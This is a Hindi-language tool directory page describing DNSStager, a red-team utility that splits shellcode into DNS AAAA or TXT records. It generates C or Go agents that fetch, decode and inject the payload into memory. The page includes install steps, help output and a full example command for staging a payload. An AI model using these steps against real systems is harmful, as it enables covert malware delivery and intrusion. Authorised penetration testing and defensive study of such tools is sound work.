Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
DNSStager — अपने पेलोड को DNS में छिपाएं | Kitploit
उपकरण/GitHubGitHub/mhaskar/dnsstager
पेलोड जनरेशनशोषणकमांड एंड कंट्रोलरेड टीमिंगपेलोड डेवलपमेंटDNS विश्लेषण
GitHubmhaskar/dnsstager

DNSStager

अपने पेलोड को DNS में छिपाएं

रिपॉजिटरी देखें
622133133 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

DNSStager क्या है?

DNSStager एक ओपन-सोर्स प्रोजेक्ट है जो Python पर आधारित है और इसका उपयोग DNS के माध्यम से आपके पेलोड को छिपाने और स्थानांतरित करने के लिए किया जाता है।

DNSStager एक दुर्भावनापूर्ण DNS सर्वर बनाएगा जो आपके डोमेन के लिए DNS अनुरोधों को संभालता है और विशिष्ट रिकॉर्ड अनुरोधों जैसे AAAA या TXT रिकॉर्ड के जवाब में आपके पेलोड को विभाजित करके और विभिन्न एल्गोरिदम का उपयोग करके एन्कोड करके लौटाता है।

DNSStager C या GoLang में लिखा एक कस्टम एजेंट उत्पन्न कर सकता है जो डोमेन के अनुक्रम को हल करेगा, पेलोड प्राप्त करेगा, उसे डीकोड करेगा और अंत में आपकी इच्छानुसार किसी भी तकनीक के आधार पर इसे मेमोरी में इंजेक्ट करेगा।

आप DNSStager एजेंट के कोड को अपनी इच्छानुसार संपादित कर सकते हैं, और इसे अपनी स्वयं की कस्टम निष्पादन तकनीकों का उपयोग करके बना सकते हैं।

DNSStager का मुख्य उद्देश्य रेड टीमर्स/पेंटेस्टर्स को DNS के माध्यम से चोरी-छिपे चैनल में अपने पेलोड को वितरित करने में मदद करना है।

यह कैसे काम करता है?

आपके DNS रिज़ॉल्यूशन विकल्प के आधार पर, DNSStager आपके पेलोड को टुकड़ों में विभाजित करेगा और पेलोड के प्रत्येक टुकड़े को एक उपडोमेन के लिए प्रतिक्रिया के रूप में सहेजेगा।

उदाहरण के लिए, यदि आप पेलोड प्राप्त करने के लिए IPV6 को अपने विकल्प के रूप में चुनते हैं, तो DNS प्रतिक्रिया कुछ इस प्रकार होगी:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

जहाँ 5648:31d2:6548:8b52:6048:8b52:1848:8b52 आपके पेलोड का एक भाग है।

इसलिए, एजेंट पेलोड प्राप्त करने के लिए कुछ डोमेन को हल करेगा, फिर इसे डीकोड करेगा और अंत में मेमोरी में इंजेक्ट करेगा।

वर्तमान में, DNSStager केवल दो रिकॉर्ड, AAAA और TXT का समर्थन करता है। आप AAAA रिकॉर्ड के लिए XOR का उपयोग करके अपने पेलोड को एन्कोड कर सकते हैं और डिफ़ॉल्ट रूप से यदि आप TXT रिकॉर्ड चुनते हैं तो इसे base64 के रूप में एन्कोड किया जाएगा।

DNSStager की मुख्य विशेषताएं:

DNSStager में कुछ मुख्य विशेषताएं हैं जैसे:

  • IPV6 रिकॉर्ड में अपने पेलोड को छिपाएं और हल करें।
  • TXT रिकॉर्ड में अपने पेलोड को छिपाएं और हल करें।
  • अपने पेलोड को एन्कोड करने के लिए XOR एन्कोडर।
  • अपने पेलोड को एन्कोड करने के लिए Base64 एन्कोडर (केवल TXT रिकॉर्ड के लिए)।
  • C में लिखा शुद्ध एजेंट जिसे अनुकूलित करने की क्षमता है।
  • GoLang में लिखा शुद्ध एजेंट जिसे अनुकूलित करने की क्षमता है।
  • प्रत्येक DNS अनुरोध के बीच स्लीप का उपयोग करने की क्षमता।
  • और भी बहुत कुछ आने वाला है!

आवश्यकताएं

आप DNSStager की Python आवश्यकताओं को इस प्रकार स्थापित कर सकते हैं:

pip3 install -r requirements.txt

आपको GoLang संस्करण 1.16.3 स्थापित करने की आवश्यकता है और निम्नलिखित GoLang पैकेजों को स्थापित करना सुनिश्चित करें:

  • golang.org/x/sys
  • github.com/miekg/dns

इसके अलावा, ming-w64 को इस प्रकार स्थापित करना सुनिश्चित करें:

apt install mingw-w64

स्क्रिप्ट setup.sh को आपके लिए यह करना चाहिए, लेकिन उपयोग करने से पहले आवश्यकताओं की दोबारा जांच करें!

स्थापना

DNSStager का नवीनतम संस्करण प्राप्त करने के लिए, निम्नलिखित कमांड का उपयोग करके इसे इस रेपो से क्लोन करना सुनिश्चित करें:

git clone https://github.com/mhaskar/DNSStager

फिर आपको निम्नलिखित कमांड का उपयोग करके आवश्यकताओं को स्थापित करना होगा:

pip3 install -r requirements.txt

और पहले बताई गई सभी आवश्यकताओं को भी स्थापित करना सुनिश्चित करें।

यह सब करने के बाद, आप DNSStager को रूट के रूप में निष्पादित करने के लिए तैयार हैं ताकि निम्नलिखित प्राप्त हो:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

उपयोग

DNSStager का उपयोग शुरू करने के लिए, पहले अपनी DNS सेटिंग्स सेट अप करना सुनिश्चित करें, आपको अपने डोमेन को DNSStager इंस्टेंस पर NS record के रूप में इंगित करना होगा ताकि आपके डोमेन के सभी DNS अनुरोधों को संभाला जा सके।

आप DNSStager को सेट अप और उपयोग करने के तरीके के बारे में यह पूरा लेख पढ़ सकते हैं।

और आप -h स्विच का उपयोग करके विकल्पों की जांच कर सकते हैं जैसे निम्नलिखित:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain: आप इस विकल्प का उपयोग मुख्य डोमेन का चयन करने के लिए कर सकते हैं जिसका उपयोग आप DNS अनुरोधों को संभालने के लिए करेंगे।

  • --prefix: वह उपसर्ग जिसे आप उपडोमेन स्कीमा के लिए उपयोग करना चाहते हैं। उदाहरण के लिए, यदि आपका मुख्य डोमेन fakedns.live है, तो आप उपसर्ग को "cdn" के रूप में निर्दिष्ट कर सकते हैं, जिससे उत्पन्न डोमेन निम्नलिखित पैटर्न होंगे:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

जहाँ N एक स्वतः उत्पन्न संख्या है जो आपके पेलोड के टुकड़ों की संख्या दर्शाती है।

  • --payload: DNSStager पेलोड "एजेंट" जिसे आप तकनीक, प्रोग्रामिंग भाषा और आर्किटेक्चर के आधार पर उत्पन्न करना चाहते हैं।

  • --output: DNSStager निष्पादन योग्य पेलोड "एजेंट" को सहेजने के लिए आउटपुट पथ।

  • --shellcode_path: आपका raw/bin शेलकोड पथ।

  • --xorkey: पेलोड को एन्कोड करने के लिए XOR कुंजी।

  • --sleep: प्रत्येक DNS अनुरोध के बीच N सेकंड के लिए सोने के लिए उपयोग किया जाता है।

  • --tcp: DNS सर्वर को TCP प्रोटोकॉल के माध्यम से शुरू और उपयोग करें।

DNSStager पेलोड

उपलब्ध DNSStager पेलोड की जांच करने के लिए, आप निम्नलिखित परिणाम प्राप्त करने के लिए ./dnsstager.py --payloads का उपयोग कर सकते हैं:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

IPV6 के साथ DNSStager का उपयोग करने का उदाहरण

यह उदाहरण DNSStager को IPV6 के रूप में आपके पेलोड को हल करने के लिए प्रारंभ करेगा, डोमेन test.mydnsserver.live और उपसर्ग cloud-srv- का उपयोग करके, संकलित x64 C एजेंट उत्पन्न करने के लिए जिसे 0x10 कुंजी के साथ एन्कोड किया गया है:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

और आउटपुट होगा:

Alt text

और यह जांचने के लिए कि सब कुछ ठीक काम कर रहा है, आइए DNS क्वेरी को cloud-srv-0.test.mydnsserver.live पर भेजें ताकि निम्नलिखित प्राप्त हो:

Alt text

हम देख सकते हैं कि हमें f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b प्रतिक्रिया के रूप में प्राप्त हुआ है, जो हमारे एन्कोडेड पेलोड के पहले 16 बाइट्स हैं।

फिर आप लक्ष्य मशीन पर एजेंट /tmp/a2.exe (जैसा कि कमांड लाइन में --output का उपयोग करके सेट किया गया है) निष्पादित कर सकते हैं और यह सभी आवश्यक टुकड़ों को डाउनलोड करेगा, उन्हें डीकोड करेगा और आपके लिए मेमोरी में इंजेक्ट करेगा।

संसाधन

  • DNSStager v1.0 स्थिर: चोरी-छिपा कोड, DLL एजेंट और बहुत कुछ।
  • DNSStager का अनावरण: DNS में अपने पेलोड को छिपाने का एक उपकरण।

लाइसेंस

यह प्रोजेक्ट GPL-3.0 लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

टूल डाउनलोड करें